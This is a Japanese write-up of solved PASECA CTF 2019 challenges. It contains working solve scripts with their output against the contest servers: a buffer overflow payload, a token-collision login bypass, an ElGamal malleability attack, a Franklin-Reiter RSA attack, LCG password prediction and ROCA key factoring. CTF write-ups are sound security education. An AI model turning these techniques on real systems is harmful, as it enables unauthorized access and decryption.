この大会は2019/8/24 6:00(JST)~2019/8/26 6:00(JST)に開催されました。
今回は個人で参戦。結果は7617点で192チーム中10位でした。
解けた問題をWriteupとして書いておきます。
Welcome to the PASECA CTF (Misc)
問題文にフラグが書いてあった。
paseca{sanity_check}
Holy war (Misc)
問題文にはこう書いてあった。
What's better, paseca{vim} or paseca{emacs}?
エディタは何がよいかという感じの問題らしい。
いろいろ調べて、試してを繰り返して、なんとかフラグを通した。
paseca{nano}
Trunkspin (Misc)
http://task.pase.ca:24050/で使われているswfをダウンロードし、JPEXS Free Flash Decompilerでデコンパイルする。
texts-DefineText (9)はこうなっていて、フラグが分断されて含まれている。
[ xmin 288 ymin 38 xmax 2090 ymax 1087 ][ font 8 height 220 letterspacing 38 color #ff0000 x 500 y 700 ]paseca{ [ letterspacing 43 x 260 y 10420 ]like_a_rec [ letterspacing 33 x 500 y 10880 ]ord_baby [ letterspacing 60 x 150 y 11280 ] } [ letterspacing 44 x 300 y 100 ] Your flag [ letterspacing 64 x 750 y 400 ] is
paseca{like_a_record_baby}
Secrets storage (Misc)
サーバスクリプトを簡単にまとめると、以下の通り。
usersにadminは登録されていてtokenも作られている。 ■login ・loginを指定 ・loginがusersにあって、admin以外の場合、 ・パスワード入力 ・一致していたらauthed実行 ■registration ・loginを指定 ・loginがusersにない場合 ・パスワード入力 ・token作成 md5(salt+login+password).encode()).hexdigest() ■authed ・1: Show secret ・token: loginのtoken ・users_secretsからtokenに対応するデータを取得 ・2: New secret ・user_secretsにデータを登録 adminのuser_secretsのデータがフラグ
adm/inadminで登録すれば、admin/adminと同じtokenになるので、adminのuser_secretsを見ることができる。
$ nc task.pase.ca 24016 Welcome to the SecretsStore! [1] - login [2] - registration [3] - quit 2 New login: adm Password: inadmin Success! [1] - login [2] - registration [3] - quit 1 Login: adm Password: inadmin Welcome back adm! [1] - Show secret [2] - New secret 1 Your secret: paseca{th15_h0n3y_t4st35_b4d_c4us3_1t_1s_s4lty_l0000l}
paseca{th15_h0n3y_t4st35_b4d_c4us3_1t_1s_s4lty_l0000l}
baby (Reverse)
$ strings welcome-reverse.out | grep paseca paseca{reversing_binaries_even_without_ida}
paseca{reversing_binaries_even_without_ida}
Genie (PWN)
Ghidraでデコンパイルする。
undefined8 main(void) { void *pvVar1; uint local_14; local_14 = 0; pvVar1 = calloc(0x19,1); *(undefined *)((long)pvVar1 + 0x18) = 3; puts( "Hi stranger! Im genie. You can make 3 wishes.\nBut real reward can be obtained only after 4wish..." ); fflush((FILE *)0x0); do { if (*(char *)((long)pvVar1 + 0x18) == 0) { return 0; } printf("Wishes left: %u\n",(ulong)*(byte *)((long)pvVar1 + 0x18)); fflush((FILE *)0x0); printf("Write your wish\n> "); fflush((FILE *)0x0); __isoc99_scanf(&DAT_00400c4f,pvVar1); printf("Ok, your wish is: %s\n"); fflush((FILE *)0x0); local_14 = local_14 + 1; if ((*(char *)((long)pvVar1 + 0x18) < 4) && (3 < local_14)) { read_flag(); } else { if (3 < local_14) { puts("Better luck next time..."); fflush((FILE *)0x0); return 0; } } *(char *)((long)pvVar1 + 0x18) = *(char *)((long)pvVar1 + 0x18) + -1; } while( true ); }
上記条件を満たすよう4回目の入力ができるようにする。
from pwn import * HOST = 'task.pase.ca' PORT = 24051 r = remote(HOST, PORT) data = r.recvuntil('> ') print data payload = 'a' * 24 + '\x03' + 'a' * 24 + '\x03' + 'a' * 24 + '\x03' + 'a' * 24 + '\x03' print payload r.sendline(payload) data = r.read(8192) print data
実行結果は以下の通り。
[+] Opening connection to task.pase.ca on port 24051: Done Hi stranger! Im genie. You can make 3 wishes. But real reward can be obtained only after 4 wish... Wishes left: 3 Write your wish > aaaaaaaaaaaaaaaaaaaaaaaa\x03aaaaaaaaaaaaaaaaaaaaaaa\x03aaaaaaaaaaaaaaaaaaaaaaa\x03aaaaaaaaaaaaaaaaaaaaaaa\x03 Ok, your wish is: aaaaaaaaaaaaaaaaaaaaaaaa\x03Wishes left: 2 Write your wish > Ok, your wish is: aaaaaaaaaaaaaaaaaaaaaaaa\x03Wishes left: 2 Write your wish > Ok, your wish is: aaaaaaaaaaaaaaaaaaaaaaaa\x03Wishes left: 2 Write your wish > Ok, your wish is: aaaaaaaaaaaaaaaaaaaaaaaa\x03Congratulations! Your flag: paseca{sometimes_even_genie_can_make_a_mistake} Wishes left: 2 Write your wish > [*] Closed connection to task.pase.ca port 24051
paseca{sometimes_even_genie_can_make_a_mistake}
Special task (Forensic)
pcapからUSBのキー入力を読み取る。
#!/usr/bin/env python # -*- coding: utf-8 -*- from scapy.all import * keymap = { 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'), 0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'), 0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'), 0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'), 0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'), 0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'), 0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'), 0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'), 0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'), 0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'), 0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'), 0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'), 0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'), 0x2a: ('\x08', '\x08'), 0x2b: ('\x09', '\x09'), 0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'), 0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'), 0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ('\'', '\"'), 0x35: ('`', '~'), 0x36: (',', '<'), 0x37: ('.', '>'), 0x38: ('/', '?')} packets = rdpcap('spy.pcap') usb_data = [] for p in packets: buf = p['Raw'].load if buf[22] == '\x01': usb_data.append(buf[27:]) msg = '' for d in usb_data: if d[2] == '\x00' or not('\x00' in d[3:8]): continue elif ord(d[2]) not in keymap: continue if d[0] == '\x02' or d[0] == '\x20': c = keymap[ord(d[2])][1] msg += c else: c = keymap[ord(d[2])][0] msg += c print msg
この結果、以下のスクリプトが得られる。
from Crypto.Cipher import AES as aes key = b'youareontherightway'[:16] c = aes.new(key, aes.Mode_eax) ct, tag = c.encrypt_and_digest(open('task.png', 'rb').read()) lol f_o = open('out.bin', 'wb') [f_o.write(i) for i in (c.nonce, tag, ct)]
このコードを踏まえて、out.binを復号する。
from Crypto.Cipher import AES as aes key = b'youareontherightway'[:16] with open('out.bin', 'rb') as f: data = f.read() nonce = data[:16] tag = data[16:32] ct = data[32:] c = aes.new(key, aes.MODE_EAX, nonce=nonce) pt = c.decrypt(ct) #print pt with open('flag.png', 'wb') as f: f.write(pt)
paseca{g00d_job_ag3nt_bzz}
Maximillian Mara Fon Chenko (Stego)
TrIDNETで調べると、添付ファイルはVTFファイルだった。VTFEditで開いてみる。
ImageタブのMipmapを3にすると、フラグが書いてある画像が表示された。
paseca{15_t5i5_4_f4d1n6_spr4y?}
El Accordion (Crypto)
$ nc task.pase.ca 24011 Welcome to El Accordion crypto service! Our public key: p = 50291585460399202482624787298958672852210050130841738342001836485453762518933, g = 25496159609004175511441656655124693353620337660794673359993898716018591475292, y = 7380108767899284351922910421821819856719520197431013301840838007628378867048 [1] - Get encrypted flag [2] - Encrypt your message [3] - Decrypt your message [4] - Exit 1 Encrypted flag: (7418209546262193735797361390674097393466179494532153616428369872421234148490, 23230185475082299068519399009645207325592496978518974337156394478086288797041) [1] - Get encrypted flag [2] - Encrypt your message [3] - Decrypt your message [4] - Exit 2 Your message: 12 You encrypted message: (7418209546262193735797361390674097393466179494532153616428369872421234148490, 7521132047350338448723066574890388961114979772738381757953522417183148220154) [1] - Get encrypted flag [2] - Encrypt your message [3] - Decrypt your message [4] - Exit 3 TODO [1] - Get encrypted flag [2] - Encrypt your message [3] - Decrypt your message [4] - Exit 4
暗号処理の概要は以下の通り。
■encrypt c1 = pow(g, k, p) c2 = (pow(y, k, p) * m) % p
mが1の場合の場合の何倍かというのがわかれば、そのままフラグになる。
import socket import re from Crypto.Util.number import * def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('task.pase.ca', 24011)) data = recvuntil(s, 'Exit\n').rstrip() print data pattern = 'p = (.+), g' m = re.search(pattern, data) p = int(m.group(1)) print '1' s.sendall('1\n') data = recvuntil(s, '\n').rstrip() print data pattern = '\((.+), (.+)\)' m = re.search(pattern, data) enc_flag_2 = int(m.group(2)) print '2' s.sendall('2\n') data = recvuntil(s, ': ') print data + '\x01' s.sendall('\x01\n') data = recvuntil(s, '\n').rstrip() print data pattern = '\((.+), (.+)\)' m = re.search(pattern, data) enc_1 = int(m.group(2)) m = (enc_flag_2 * inverse(enc_1, p)) % p flag = long_to_bytes(m) print flag
実行結果は以下の通り。
Welcome to El Accordion crypto service! Our public key: p = 29646301021178032497313697447269293672426215616985694597888969717618559170777, g = 10949452677885092778025559284929973149858173125585690589357929941884125902024, y = 12119399357273094662859480690578233167837293104703846698671330898356111271157 [1] - Get encrypted flag [2] - Encrypt your message [3] - Decrypt your message [4] - Exit 1 Encrypted flag: (1488527341619207664764595908095099640756766409400869556237980674754390143133, 11629283255737230454112936542302568387143949974595090726221331231297050918808) 2 [1] - Get encrypted flag [2] - Encrypt your message [3] - Decrypt your message [4] - Exit Your message: You encrypted message: (1488527341619207664764595908095099640756766409400869556237980674754390143133, 18161634285939021734359693076276909247752193505245109407831784439155567858286) paseca{f4m1l14r_s0ng}
paseca{f4m1l14r_s0ng}
Another RSA task (Crypto)
$ nc task.pase.ca 24075 bzzz public key: (17, 123267811051417936068872147489105246393811275603888391074436279271642422709860185635480405025301116669330623366432058404377151307084200741939042036876317660581644815976865009781006668396359795598862998244737054672104429771614914437034890885419241760329181147130778372915132290966245723603309337789917061396131) encrypted flag: 101339108116238900448327554861535921419807067467123833935875499876460852210376069681284228185703707094987012527673483689351563567212081690923588750616467541504849474611658980312651777729079921864489480412181533550093630745816553997669438824851153222101090477374764389828749183221869616809608084118776194912797 [E]ncrypt [D]ecrypt > E m: 0 c: 29611702792319188103408824485004172272145167094764129243330269537459202398861243718725499174702360105164145364617532070590106752518290114277079134491380089863310193154678790516307655655219744050139620697004039066284272630321220836977990999154443935241388531033625213284863651769106423821325269601422804798070 [E]ncrypt [D]ecrypt > D TODO
暗号化処理の概要は以下の通り。
public key: (e, n): e = 17 enc_flag: pow(flag, e, n) ■Encrypt ・m: 数値入力 ・2進数でpとmの文字列を結合した数値にする ・この数値で暗号化
上記のことを踏まえて、Franklin-Reiter Related Message Attackで復号する。
# sage import socket import re from Crypto.Util.number import * def related_message_attack(c1, c2, diff, e, n): PRx.<x> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+diff)^e - c2 def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0] def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('task.pase.ca', 24075)) data = recvuntil(s, '> ') print data + 'E' s.sendall('E\n') public = eval(data.split('\n')[1].split(': ')[1]) e = public[0] n = public[1] enc_flag = int(data.split('\n')[2].split(': ')[1]) data = recvuntil(s, ': ') print data + '2' s.sendall('2\n') data = recvuntil(s, '\n').rstrip() print data c0 = int(data.split(': ')[1]) data = recvuntil(s, '> ') print data + 'E' s.sendall('E\n') data = recvuntil(s, ': ') print data + '3' s.sendall('3\n') data = recvuntil(s, '\n').rstrip() print data c1 = int(data.split(': ')[1]) p = int((related_message_attack(c0, c1, 1, e, n) - 2) >> 2) q = n / p assert n == p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(enc_flag, d, n) flag = long_to_bytes(m) print flag
実行結果は以下の通り。
bzzz public key: (17, 55640111080369488312548550884429343029430589585532109627388839762313431952747882197349897334466202475747733341828473542831254949248461509843433639228636387909845307277471584117498537416291894192574871698640180837138507076919691335039188932007132151261668149968360592889273719593250800428469887604952883272839) encrypted flag: 36912231163535159687818072031792909855998366258890135345351090687753649630809000099047339131465336119370285057120716128943760172302871807861203856849258857806628158441588467921200161591184868444267410940824784635226004693952050465712929462503861660977865859784160123829490379644341795847792849817838103913272 [E]ncrypt [D]ecrypt > E m: 2 c: 41003426974060264532636780529903350846352879699804073358852374070242388008152436377430030667805640844722886275018349100669214090901329385973519017203768889534970929074535191257314083418124544606540727355009459470801123228741289539248577590651394933122979146244702039650691974114649141715835439087353672608607 [E]ncrypt [D]ecrypt > E m: 3 c: 32193080350353325030879018367207524361450454545459424526283449219682030170108949952334017743244748749886482520085695188412383398666362821193816056697292330616130927433754823743607874504679834108334172079231963658878452042047831804145396972219672708502647213430151722738400334239162965498463718139685249327971 paseca{pr1v4t3_key_4s_padd1ng_gr34t_1dea}
paseca{pr1v4t3_key_4s_padd1ng_gr34t_1dea}
Secure Auth (Crypto)
$ curl http://task.pase.ca:24003 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>PASECA Secure Control System</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css"> </head> <body> <section class="hero is-medium is-primary is-bold"> <div class="hero-body"> <div class="container"> <h1 class="title is-1"> PASECA Secure Control System </h1> </div> </div> </section> <div class="container" style="margin-top: 5em"> <div class="columns"> <div class="column is-4 is-offset-4"> <div class="box"> <nav id="prev-passwords" class="panel"> <p class="panel-heading"> Last 5 Passwords </p> <!-- LCG passwords --> <a class="panel-block">LOADING</a> <a class="panel-block">LOADING</a> <a class="panel-block">LOADING</a> <a class="panel-block">LOADING</a> <a class="panel-block">LOADING</a> </nav> <form action="/login" method="post"> <div class="field"> <label class="label">Password</label> <div class="control"> <input class="input" type="number" required="required" name="totp"> </div> </div> <div class="control"> <button class="button is-primary">Login</button> </div> </form> </div> </div> </div> </div> <script> function update_previous_totp() { let last_totps = new Request("/last-totps"); fetch(last_totps) .then(function(response) { return response.json(); }) .then(function(data) { let totp = document.querySelector("#prev-passwords").querySelectorAll("a"); totp.forEach((v, k, p) => v.textContent = data[k]); }); } update_previous_totp(); setInterval(update_previous_totp, 10000); </script> </body> </html> $ curl http://task.pase.ca:24003/last-totps [2546524,7363293,7236404,7737564,2583924]
どうやらLCGで計算されているので、次の数字を当てたら、フラグが表示されるということらしい。modulus(=m)を総当たりでa, b, mを求め、次の値を割り出す。
import requests from Crypto.Util.number import * def get_a(m, seq): k = (seq[1] - seq[0]) % m inv = int(inverse(k, m)) return (inv * (seq[2] - seq[1])) % m base_url = 'http://task.pase.ca:24003/' s = requests.Session() r = s.get(base_url) body = r.text #print body r = s.get(base_url + 'last-totps') body = r.text #print body seq = eval(body) print seq max_seq = max(seq) for m in range(max_seq, max_seq + 1000000): a = get_a(m, seq) b = (seq[1] - a * seq[0]) % m if (a * seq[1] + b) % m == seq[2] \ and (a * seq[2] + b) % m == seq[3]: break ans = (a * seq[-1] + b) % m print ans payload = {'totp': str(ans)} r = s.post(base_url + 'login', payload) body = r.text print body
実行結果は以下の通り。
[4234859, 6286793, 7477800, 3478602, 3700291] 1462869 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>PASECA Secure Control System</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css"> </head> <body> <section class="hero is-medium is-primary is-bold"> <div class="hero-body"> <div class="container"> <h1 class="title is-1"> PASECA Secure Control System </h1> </div> </div> </section> <div class="container" style="margin-top: 5em"> <div class="columns is-centered"> <div class="column"> <div class="box"> <h1 class="title">Your flag: paseca{l1n34r_c0n6ru3n7_63n3r470r_15_4_v3ry_un54f3_b33}</h1> </div> </div> </div> </div> </body> </html>
paseca{l1n34r_c0n6ru3n7_63n3r470r_15_4_v3ry_un54f3_b33}
Boca, Joca and (Crypto)
添付のスクリプトにあるp, qの生成の方法から、ROCAの問題であるとわかる。ROCA脆弱性を持つnの値を素因数分解するためにnecaというツールを利用する。
$ ./neca 2533518484273416680526744527076070415105694309505300600842191515956287023049872818275864738915507865375824167505682003696379926562543280251434287750844677 NECA - Not Even Coppersmith's Attack ROCA weak RSA key attack by Jannis Harder (me@jix.one) *** Currently only 512-bit keys are supported *** N = 2533518484273416680526744527076070415105694309505300600842191515956287023049872818275864738915507865375824167505682003696379926562543280251434287750844677 Factoring... [=== ] 12.47% elapsed: 703s left: 4933.36s total: 5636.49s Factorization found: N = 117287632120536376525897315212651828187586245270343201771519228951615532042991 * 21600900610472913215984241924466406437412831845460782430545141332835698275147
素因数分解できたので、あとはそのまま復号する。
from Crypto.Util.number import * n = 2533518484273416680526744527076070415105694309505300600842191515956287023049872818275864738915507865375824167505682003696379926562543280251434287750844677 e = 65537 c = 129004287495003585102707258242341500697789427644709664498422921557824879930305360888810887386464959697534364343822749974218601464578445454172199855198387 p = 117287632120536376525897315212651828187586245270343201771519228951615532042991 q = 21600900610472913215984241924466406437412831845460782430545141332835698275147 assert n == p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m) print flag
paseca{w3ll_kn0wn_B0c4_p0pul4r_J0ca_and_leg3ndary_ROCA}